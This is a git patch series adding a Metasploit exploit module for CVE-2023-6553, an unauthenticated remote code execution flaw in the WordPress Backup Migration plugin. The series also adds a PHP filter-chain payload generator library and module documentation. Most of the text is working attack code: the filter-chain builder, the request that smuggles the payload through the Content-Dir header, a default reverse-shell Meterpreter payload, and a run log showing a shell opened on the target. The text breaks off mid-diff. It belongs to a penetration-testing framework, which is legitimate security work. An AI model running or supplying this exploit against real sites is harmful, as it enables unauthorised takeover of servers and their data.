From c895364675a354f0e461295f146dfee0ab024db6 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Mon, 18 Dec 2023 19:26:14 -0500 Subject: [PATCH 01/10] Initial commit, files created --- data/wordlists/wp-exploitable-plugins.txt | 1 + .../http/wp_backup_migration_php_filter.md | 0 .../http/wp_backup_migration_php_filter.rb | 176 ++++++++++++++++++ 3 files changed, 177 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md create mode 100644 modules/exploits/multi/http/wp_backup_migration_php_filter.rb diff --git a/data/wordlists/wp-exploitable-plugins.txt b/data/wordlists/wp-exploitable-plugins.txt index 7c6163db0670..b60af94d32c0 100644 --- a/data/wordlists/wp-exploitable-plugins.txt +++ b/data/wordlists/wp-exploitable-plugins.txt @@ -60,3 +60,4 @@ paid-memberships-pro woocommerce-payments file-manager-advanced-shortcode royal-elementor-addons +backup-backup diff --git a/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md b/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md new file mode 100644 index 000000000000..e69de29bb2d1 diff --git a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb new file mode 100644 index 000000000000..7c835a73aaa4 --- /dev/null +++ b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb @@ -0,0 +1,176 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Wordpress + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WordPress Backup Migration Plugin PHP Filter RCE', + 'Description' => %q{ + Exploit for the unauthenticated remote code execution vulnerbility in Backup Migration Plugin (<= 1.3.7). + }, + 'Author' => [ + 'Valentin Lobstein', # Vulnerability discovery & PoC + 'jheysel-r7' # msfmodule + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2023-6553'], + ['URL', 'https://github.com/Chocapikk/CVE-2023-6553/blob/main/exploit.py'], + ['WPVDB', ''] + ], + 'Platform' => ['unix', 'linux', 'win', 'php'], + 'Arch' => [ARCH_PHP], + 'Targets' => [['Automatic', {}]], + 'DisclosureDate' => '', + 'DefaultTarget' => 0, + 'Privileged' => false, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + end + + def generate_php_filter_payload(command) + conversions = { + "0" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2", + "1" => "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4", + "2" => "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921", + "3" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE", + "4" => "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE", + "5" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2", + "6" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2", + "7" => "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4", + "8" => "convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2", + "9" => "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB", + "A" => "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213", + "a" => "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE", + "B" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000", + "b" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE", + "C" => "convert.iconv.UTF8.CSISO2022KR", + "c" => "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2", + "D" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213", + "d" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5", + "E" => "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT", + "e" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937", + "F" => "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB", + "f" => "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213", + "g" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8", + "G" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90", + "H" => "convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213", + "h" => "convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE", + "I" => "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213", + "i" => "convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000", + "J" => "convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4", + "j" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16", + "K" => "convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE", + "k" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2", + "L" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC", + "l" => "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE", + "M" => "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T", + "m" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949", + "N" => "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4", + "n" => "convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61", + "O" => "convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775", + "o" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE", + "P" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB", + "p" => "convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4", + "q" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2", + "Q" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2", + "R" => "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4", + "r" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101", + "S" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS", + "s" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90", + "T" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103", + "t" => "convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS", + "U" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943", + "u" => "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61", + "V" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB", + "v" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2", + "W" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936", + "w" => "convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE", + "X" => "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932", + "x" => "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS", + "Y" => "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361", + "y" => "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT", + "Z" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16", + "z" => "convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937", + "/" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4", + "+" => "convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157", + "=" => "", + } + + chain = command.encode("UTF-8") + chain = Base64.strict_encode64(chain).encode("UTF-8").delete("=") + encoded_chain = chain + filters = "convert.iconv.UTF8.CSISO2022KR|" + filters += "convert.base64-encode|" + filters += "convert.iconv.UTF8.UTF7|" + + encoded_chain.reverse.each_char do |c| + filters += conversions[c] + "|" + filters += "convert.base64-decode|" + filters += "convert.base64-encode|" + filters += "convert.iconv.UTF8.UTF7|" + end + + filters += "convert.base64-decode" + final_payload = "php://filter/#{filters}/resource=php://temp" + final_payload + + end + + def send_payload + + # require 'pry-byebug' + # binding.pry + + php_filtered_payload = generate_php_filter_payload(payload.encoded) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', 'backup-heart.php'), + 'method' => 'POST', + 'headers' => { + 'Content-Dir' => php_filtered_payload + } + ) + + + end + + + def check + return CheckCode::Unknown unless wordpress_and_online? + + wp_version = wordpress_version + print_status("WordPress Version: #{wp_version}") if wp_version + + # The plugin's official name seems to be Backup Migration however the package is filename is "backup-backup" + check_code = check_plugin_version_from_readme('backup-backup', '1.3.8') + + if check_code.code != 'appears' + return CheckCode::Safe + end + + plugin_version = check_code.details[:version] + print_good("Detected Backup Migration Plugin version: #{plugin_version}") + return CheckCode::Appears + end + + def exploit + send_payload + + end +end From e3062d45e07378aaa0081e6317bdf548127126d1 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Wed, 20 Dec 2023 16:41:52 -0500 Subject: [PATCH 02/10] Module working docs updated --- .../http/wp_backup_migration_php_filter.md | 125 ++++++++++++ .../exploit/remote/http/php_filter_chain.rb | 117 ++++++++++++ .../http/wp_backup_migration_php_filter.rb | 178 +++++++----------- 3 files changed, 305 insertions(+), 115 deletions(-) create mode 100644 lib/msf/core/exploit/remote/http/php_filter_chain.rb diff --git a/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md b/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md index e69de29bb2d1..3767a7978796 100644 --- a/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md +++ b/documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md @@ -0,0 +1,125 @@ +## Vulnerable Application + +This module exploits an unauth RCE in the WordPress plugin: Backup Migration (<= 1.3.7). The vulnerability is +exploitable through the Content-Dir header which is sent to the /includes/backup-heart.php endpoint. + +The vuln makes use of a neat technique called PHP Filter Chaining which allows an attacker to prepend +bytes to a string by continuously chaining character encoding conversion. This allows an attacker to prepend +a PHP payload to a string which gets evaluated by a require statement, which results in command execution. + +### Setup + +Spin up a Wordpress instance by running `docker-compose up` in the same directory as the `docker-compose.yml` file below: +``` +version: "3" +# Defines which compose version to use +services: + # Services line define which Docker images to run. In this case, it will be MySQL server and WordPress image. + db: + image: mysql:5.7 + # image: mysql:5.7 indicates the MySQL database container image from Docker Hub used in this installation. + restart: always + environment: + MYSQL_ROOT_PASSWORD: MyR00tMySQLPa$$5w0rD + MYSQL_DATABASE: MyWordPressDatabaseName + MYSQL_USER: MyWordPressUser + MYSQL_PASSWORD: Pa$$5w0rD + # Previous four lines define the main variables needed for the MySQL container to work: database, database username, database user password, and the MySQL root password. + wordpress: + depends_on: + - db + image: wordpress:latest + restart: always + # Restart line controls the restart mode, meaning if the container stops running for any reason, it will restart the process immediately. + ports: + - "8000:80" + # The previous line defines the port that the WordPress container will use. After successful installation, the full path will look like this: http://localhost:8000 + environment: + WORDPRESS_DB_HOST: db:3306 + WORDPRESS_DB_USER: MyWordPressUser + WORDPRESS_DB_PASSWORD: Pa$$5w0rD + WORDPRESS_DB_NAME: MyWordPressDatabaseName +# Similar to MySQL image variables, the last four lines define the main variables needed for the WordPress container to work properly with the MySQL container. + volumes: + ["./:/var/www/html"] +volumes: + mysql: {} +``` + +Download the vulnerable Backup Migration plugin: `https://downloads.wordpress.org/plugin/backup-backup.1.3.7.zip`. +Navigate to `http://localhost:8000` and you'll be redirected and asked to setup the WordPress site. This includes +setting a username, password, email address for the admin user etc. Once the setup is complete login as the newly created +admin user and via the options on the left side of the screen navigate to the `Plugins` and select `Add New`. Upload the +`backup-backup.1.3.7.zip` file. You should now see `Backup Migration` in the list of Plugins, select `Activate` on the +plugin. You should now have a vulnerable instance running. + +## Verification Steps + +1. Start msfconsole +1. Do: `use ` +1. Set the `RHOST`, `USERNAME`, and `PASSWORD` options +1. Run the module +1. Receive a Meterpreter session as the `root` user. + +## Scenarios +### Backup Migration Plugin version: 1.3.7 (Containerized WordPress Version 6.0) +``` +msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rport 8000 +rport => 8000 +msf6 exploit(multi/http/wp_backup_migration_php_filter) > set lhost 192.168.123.1 +lhost => 172.16.199.1 +msf6 exploit(multi/http/wp_backup_migration_php_filter) > options + +Module options (exploit/multi/http/wp_backup_migration_php_filter): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PAYLOAD_FILENAME ASmZED.php yes The filename for the payload to be used on the target host (%RAND%.php by default) + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 8000 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The base path to the wordpress application + VHOST no HTTP server virtual host + + +Payload options (php/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.123.1 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/http/wp_backup_migration_php_filter) > run + +[*] Started reverse TCP handler on 192.168.123.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] WordPress Version: 6.0 +[+] Detected Backup Migration Plugin version: 1.3.7 +[+] The target appears to be vulnerable. +[*] Writing the payload to disk, character by character, please wait... +[*] Sending stage (39927 bytes) to 192.168.123.1 +[+] Deleted ASmZED.php +[*] Meterpreter session 1 opened (192.168.123.1:4444 -> 192.168.123.1:60869) at 2023-12-20 16:36:44 -0500 + +meterpreter > getuid +Server username: www-data +meterpreter > sysinfo +Computer : 46e8870a65ae +OS : Linux 46e8870a65ae 6.5.11-linuxkit #1 SMP PREEMPT_DYNAMIC Wed Dec 6 17:14:50 UTC 2023 x86_64 +Meterpreter : php/linux +meterpreter > +``` \ No newline at end of file diff --git a/lib/msf/core/exploit/remote/http/php_filter_chain.rb b/lib/msf/core/exploit/remote/http/php_filter_chain.rb new file mode 100644 index 000000000000..0d3dd45a4abb --- /dev/null +++ b/lib/msf/core/exploit/remote/http/php_filter_chain.rb @@ -0,0 +1,117 @@ +# -*- coding: binary -*- + +module Msf + class Exploit + class Remote + module HTTP + module PhpFilterChain + + # This module can be used to generate PHP Filter Chains which can be used to gain RCE through an LFI. + # + # There are many different types of character encodings. You can use [convert.iconv.*](https://www.php.net/manual/en/filters.convert.php#filters.convert.iconv) + # in PHP in order to convert from one encoding to another. + # + # Some encodings have a byte or sequence of bytes prepended to the string as a signature. By carefully chaining + # together specific encoding conversions, we can control the bytes that get prepended to the string. + # + # An example of when this can be used is when you control the input to a "require" or an "include" statement in PHP. + # PHP lets you specify the file name as "resource=php://temp" so you don't actually need to know the a file on + # the system and then you can build a payload with filter chains which will then be executed by the "require". + # Ex: require('php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode||resource=php://temp" + # More info: https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it + def initialize(info = {}) + super + end + + CONVERSIONS = { + "0" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2", + "1" => "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4", + "2" => "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921", + "3" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE", + "4" => "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE", + "5" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2", + "6" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2", + "7" => "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4", + "8" => "convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2", + "9" => "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB", + "A" => "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213", + "a" => "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE", + "B" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000", + "b" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE", + "C" => "convert.iconv.UTF8.CSISO2022KR", + "c" => "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2", + "D" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213", + "d" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5", + "E" => "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT", + "e" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937", + "F" => "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB", + "f" => "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213", + "g" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8", + "G" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90", + "H" => "convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213", + "h" => "convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE", + "I" => "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213", + "i" => "convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000", + "J" => "convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4", + "j" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16", + "K" => "convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE", + "k" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2", + "L" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC", + "l" => "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE", + "M" => "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T", + "m" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949", + "N" => "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4", + "n" => "convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61", + "O" => "convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775", + "o" => "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE", + "P" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB", + "p" => "convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4", + "q" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2", + "Q" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2", + "R" => "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4", + "r" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101", + "S" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS", + "s" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90", + "T" => "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103", + "t" => "convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS", + "U" => "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943", + "u" => "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61", + "V" => "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB", + "v" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2", + "W" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936", + "w" => "convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE", + "X" => "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932", + "x" => "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS", + "Y" => "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361", + "y" => "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT", + "Z" => "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16", + "z" => "convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937", + "/" => "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4", + "+" => "convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157", + "=" => "", + } + + def generate_php_filter_payload(command) + chain = command.encode("UTF-8") + chain = Base64.strict_encode64(chain).encode("UTF-8").delete("=") + encoded_chain = chain + filters = "convert.iconv.UTF8.CSISO2022KR|" + filters += "convert.base64-encode|" + filters += "convert.iconv.UTF8.UTF7|" + + encoded_chain.reverse.each_char do |c| + filters += CONVERSIONS[c] + "|" + filters += "convert.base64-decode|" + filters += "convert.base64-encode|" + filters += "convert.iconv.UTF8.UTF7|" + end + + filters += "convert.base64-decode" + "php://filter/#{filters}/resource=php://temp" + + end + end + end + end + end +end diff --git a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb index 7c835a73aaa4..a7c9956d77b8 100644 --- a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb +++ b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb @@ -8,156 +8,67 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Wordpress + include Msf::Exploit::Remote::HTTP::PhpFilterChain + include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, - 'Name' => 'WordPress Backup Migration Plugin PHP Filter RCE', + 'Name' => 'WordPress Backup Migration Plugin PHP Filter Chain RCE', 'Description' => %q{ - Exploit for the unauthenticated remote code execution vulnerbility in Backup Migration Plugin (<= 1.3.7). + Exploit for an unauthenticated remote code execution vulnerability in the WordPress plugin: Backup Migration (<= 1.3.7). + The vulnerability is exploitable through the Content-Dir header which is sent to the + /includes/backup-heart.php endpoint. + + The vuln makes use of a neat technique called PHP Filter Chaining which allows an attacker to prepend + bytes to a string by continuously chaining character encoding conversions. This allows an attacker to prepend + a PHP payload to a string which gets evaluated by a require statement, which results in command execution. }, 'Author' => [ - 'Valentin Lobstein', # Vulnerability discovery & PoC + 'Nex Team', # Vulnerability discovery + 'Valentin Lobstein', # PoC 'jheysel-r7' # msfmodule ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2023-6553'], ['URL', 'https://github.com/Chocapikk/CVE-2023-6553/blob/main/exploit.py'], - ['WPVDB', ''] + ['URL', 'https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it'], + ['WPVDB', '6a4d0af9-e1cd-4a69-a56c-3c009e207eca'] ], + 'DefaultOptions' => { + 'PAYLOAD' => 'php/meterpreter/reverse_tcp' + }, 'Platform' => ['unix', 'linux', 'win', 'php'], 'Arch' => [ARCH_PHP], 'Targets' => [['Automatic', {}]], - 'DisclosureDate' => '', + 'DisclosureDate' => '2023-12-11', 'DefaultTarget' => 0, 'Privileged' => false, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [IOC_IN_LOGS] + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) - end - - def generate_php_filter_payload(command) - conversions = { - "0" => "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2", - "1" => "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4", - "2" => 